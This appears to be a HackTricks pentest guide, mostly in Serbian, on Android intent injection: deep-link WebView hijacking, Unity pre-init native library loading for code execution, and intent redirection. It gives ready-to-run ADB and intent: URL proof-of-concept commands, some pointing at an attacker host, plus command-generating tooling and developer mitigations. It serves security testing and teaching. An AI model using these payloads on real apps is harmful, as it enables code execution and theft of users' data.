Intent Injection

Reading time: 12 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Intent injection zloupotrebljava komponente koje prihvataju Intents koje kontroliše napadač ili podatke koji se kasnije konvertuju u Intents. Dva veoma česta obrasca tokom Android app pentests su:

  • Prosleđivanje posebno pripremljenih extras polja ka exported Activities/Services/BroadcastReceivers koja se kasnije prosleđuju privilegovanim, non-exported komponentama.
  • Okidanje exported VIEW/BROWSABLE deep linkova koji prosleđuju URL-ove kontrolisane od strane napadača u interne WebViews ili druge osetljive sinks.

Ako aplikacija izlaže custom scheme deep link kao što je:

text
myscheme://com.example.app/web?url=<attacker_url>

a ako Activity koja prima prosleđuje query parametar url u WebView, možete prisiliti aplikaciju da u sopstvenom WebView kontekstu prikazuje proizvoljan udaljeni sadržaj.

PoC via adb:

bash
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Uticaj

  • HTML/JS se izvršava u okviru aplikacionog WebView profila.
  • Ako je JavaScript omogućen (po defaultu ili zbog pogrešno poredanih provera), možete nabrojati/koristiti sve izložene @JavascriptInterface objekte, ukrasti WebView cookies/local storage i pivotirati.

See also:

Webview Attacks

Greška u redosledu provera koja omogućava JavaScript

Česta greška je omogućavanje JavaScript-a (ili drugih permisivnih WebView podešavanja) pre nego što konačna allowlist/verifikacija URL-a bude završena. Ako rani helper-i prihvate vaš deep link i WebView se prvo konfiguriše, konačno učitavanje će se desiti sa već omogućenim JavaScript-om čak i ako kasnije provere zakazu ili budu prekasne.

Na šta obratiti pažnju u dekompajliranom kodu:

  • Više helper-a koji različito parsiraju/razdvajaju/obnavljaju URL (inkonzistentna normalizacija).
  • Pozivi getSettings().setJavaScriptEnabled(true) pre poslednje provere allowlist-a host/path.
  • Tok obrade kao: parse → partial validate → configure WebView → final verify → loadUrl.

Mitigacije

  • Canonicalizovati jednom i striktno validirati; u slučaju greške odbiti (fail closed).
  • JavaScript uključiti tek nakon što sve provere prođu i neposredno pre učitavanja pouzdanog sadržaja.
  • Ne izlagati JavaScript bridges nepoverljivim origin-ima.

Unity Runtime: Intent-to-CLI extras → pre-init native library injection (RCE)

Unity-based Android apps typically use com.unity3d.player.UnityPlayerActivity (or UnityPlayerGameActivity) as the entry Activity. Unity’s Android template treats a special Intent extra named unity as a string of command-line flags for the Unity runtime. When the entry Activity is exported (default in many templates), any local app – and sometimes a website if BROWSABLE is present – can supply this extra.

A dangerous, undocumented flag leads to native code execution during very early process initialization:

  • Hidden flag: -xrsdk-pre-init-library <absolute-path>
  • Effect: dlopen(<absolute-path>, RTLD_NOW) very early in init, loading attacker-controlled ELF inside the target app’s process with its UID and permissions.

Isečak reverse-engineeringa (pojednostavljeno):

c
// lookup the arg value
initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
// load arbitrary native library early
lVar2 = dlopen(initLibPath, 2); // RTLD_NOW

Zašto radi

  • Intent extra unity se parsira u Unity runtime flags.
  • Dostavljanje pre-init flag ukazuje Unity na ELF putanju pod kontrolom napadača unutar dozvoljenog linker namespace path-a (pogledaj ograničenja dole).

Uslovi za eksploataciju

  • Unity entry Activity je exported (obično tačno po defaultu).
  • Za one-click remote preko browser-a: entry Activity takođe deklariše android.intent.category.BROWSABLE tako da se extras mogu proslediti iz intent: URL-a.

Lokalna eksploatacija (isti uređaj)

  1. Postavi payload ELF na putanju koju aplikacija žrtve može da pročita. Najlakše: isporuči malicioznu biblioteku u svojoj aplikaciji napadača i osiguraj da bude izvađena pod /data/app/.../lib/<abi>/ podešavanjem u manifestu napadača:
xml
<application android:extractNativeLibs="true" ...>
  1. Pokrenite Unity aktivnost žrtve sa CLI pre-init zastavicom u unity extra. Primer ADB PoC:
bash
adb shell am start \
-n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
-e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"
  1. Unity calls dlopen("/data/.../libpayload.so", RTLD_NOW); vaš payload se izvršava u procesu žrtve, nasleđujući sve dozvole aplikacije (camera/mic/network/storage, etc.) i pristup sesijama/podacima unutar aplikacije.

Napomene

  • Tačan /data/app/... path varira između uređaja/instalacija. Napadačka aplikacija može da pribavi svoj native lib dir u runtime-u preko getApplicationInfo().nativeLibraryDir i prosledi ga triggeru.
  • Fajl ne mora završavati sa .so ako je validan ELF – dlopen() gleda ELF headers, a ne ekstenzije.

Remote one‑click via browser (conditional) Ako je Unity entry activity exported with BROWSABLE, a website može pass extras via an intent: URL:

text
intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;

Međutim, na modernom Androidu namespace-ovi dinamičkog linkera i SELinux onemogućavaju učitavanje sa mnogih javnih putanja (npr. /sdcard/Download). Videćete greške poput:

library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]

Strategija za zaobilaženje: ciljati aplikacije koje keširaju bajtove koje kontroliše napadač u svom privatnom skladištu (npr. HTTP caches). Pošto dozvoljene putanje uključuju /data i privatni direktorijum aplikacije, usmeravanje -xrsdk-pre-init-library na apsolutnu putanju unutar cache-a aplikacije može zadovoljiti ograničenja linkera i dovesti do izvršavanja koda. Ovo odražava ranije cache-to-ELF RCE obrasce viđene u drugim Android aplikacijama.

Ostali klasični primitivi za Intent injection

  • startActivity/sendBroadcast koristeći napadačem dostavljene Intent extras koji se kasnije ponovo parsiraju (Intent.parseUri(...)) i izvršavaju.
  • Exported proxy components koje prosleđuju Intents ka non-exported osetljivim komponentama bez provere dozvola.

Automatizacija testiranja exported-component (Smali-driven ADB generation)

Kada exported komponentе očekuju specifične extras, pogađanje oblika payload-a uzrokuje gubitak vremena i false negatives. Možete automatizovati otkrivanje ključeva/tipova direktno iz Smali i generisati spremne za pokretanje adb komande.

Tool: APK Components Inspector

  • Repo: https://github.com/thecybersandeep/apk-components-inspector
  • Approach: decompile and scan Smali for calls like getStringExtra("key"), getIntExtra("id", ...), getParcelableExtra("redirect_intent"), getSerializableExtra(...), getBooleanExtra(...), getAction(), getData() to infer which extras and fields are consumed by each component.
  • Output: for every exported Activity/Service/Receiver/Provider, the tool prints a short explanation and the exact adb shell am .../cmd content ... command with correctly typed flags.

Install

bash
git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich

Korišćenje

bash
python apk-components-inspector.py target.apk

Primer izlaza

bash
adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items

ADB am extras — kratki podsjetnik (flagovi osetljivi na tip)

  • Stringovi: --es key value | Niz stringova: --esa key v1,v2
  • Celi brojevi: --ei key 123 | Niz celih brojeva: --eia key 1,2,3
  • Boolean vrednosti: --ez key true|false
  • Long vrednosti: --el key 1234567890
  • Float vrednosti: --ef key 1.23
  • URI-ji (extra): --eu key content://... | Data URI (Intent data): -d content://...
  • Component extra: --ecn key com.pkg/.Cls
  • Null string extra: --esn key
  • Uobičajene zastavice: -a <ACTION> -c <CATEGORY> -t <MIME> -f <FLAGS> --activity-clear-task --activity-new-task

Pro saveti za Providers

  • Koristite adb shell cmd content query|insert|update|delete ... da pristupite ContentProviders bez agenata.
  • Za SQLi ispitivanje, varirajte --projection i --where (tj. selection) kada je osnovni provider zasnovan na SQLite-u.

Potpuna automatizacija pipeline-a (interaktivni executor)

bash
# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py

Pomoćni skript (spaja nastavljene linije, izvršava samo linije koje počinju sa adb):

python
import subprocess

def parse_adb_commands(file_path):
with open(file_path, 'r') as file:
lines = file.readlines()
commands = []
current = []
for line in lines:
s = line.strip()
if s.startswith("adb "):
current = [s]
elif s.startswith("#") or not s:
if current:
full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
commands.append(full)
current = []
elif current:
current.append(s)
if current:
full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
commands.append(full)
return commands

for i, cmd in enumerate(parse_adb_commands('adbcommands.txt'), 1):
print(f"\nCommand {i}: {cmd}")
input("Press Enter to execute this command...")
try:
r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True)
print("Output:\n", r.stdout)
if r.stderr:
print("Errors:\n", r.stderr)
except subprocess.CalledProcessError as e:
print(f"Command failed with error:\n{e.stderr}")

Run on-device: the inspector is Python-based and works in Termux or rooted phones where apktool/androguard are available.


Intent Redirection (CWE-926) – pronalaženje i eksploatacija

Pattern

  • Eksportovana ulazna tačka (Activity/Service/Receiver) čita dolazeći Intent i prosleđuje ga interno ili eksterno bez verifikacije izvora/podataka, npr.:
  • startActivity(getIntent())
  • startActivity(intent) gde je intent došao iz extra kao redirect_intent/next_intent/pending_intent ili Intent.parseUri(...).
  • Verovanje action/data/component poljima bez provera; neproveravanje identiteta pozivaoca.

Šta tražiti u Smali/Java

  • Upotrebe getParcelableExtra("redirect_intent"), getParcelable("intent"), getIntent().getParcelableExtra(...).
  • Direktne pozive startActivity(...), startService(...), sendBroadcast(...) na Intents pod uticajem napadača.
  • Nedostatak provera getCallingPackage()/getCallingActivity() ili custom permission gate-ova.

ADB PoC templates

  • Proxy Activity koja prosleđuje dodatni Intent privilegovanoj internој Activity:
bash
adb shell am start -n com.target/.ProxyActivity \
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
  • Izvezen Service koji prihvata parcelable redirect_intent:
bash
adb shell am startservice -n com.target/.ExportedService \
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
  • Exported Receiver koji prosleđuje bez validacije:
bash
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'

Zastavice korisne za ponašanje u stilu singleTask

bash
# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task

Primeri iz stvarnog sveta (uticaj varira):

  • CVE-2024-26131 (Element Android): exported flows koji dovode do manipulacije WebView, zaobilaženja PIN-a i login hijack-a.
  • CVE-2023-44121 (LG ThinQ Service): exported receiver action com.lge.lms.things.notification.ACTION → efekti na sistemskom nivou.
  • CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): preusmeravanje → proizvoljan pristup fajlovima (uz interakciju korisnika).
  • CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents leak content.
  • CVE-2021-4438 (React Native SMS User Consent).
  • CVE-2020-14116 (Xiaomi Mi Browser).

Mitigacije (kontrolna lista za developere)

  • Ne prosleđujte dolazne Intents direktno; očistite i rekonstrušite samo dozvoljena polja.
  • Ograničite izloženost pomoću android:exported="false" osim ako nije neophodno. Zaštitite exported komponente pomoću permissions i signatures.
  • Proverite identitet pozivaoca (getCallingPackage()/getCallingActivity()), i primenjujte explicit Intents za intra-app navigaciju.
  • Validirajte i action i data (scheme/host/path) pre upotrebe; izbegavajte Intent.parseUri sa nepoverljivim inputom.

References

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks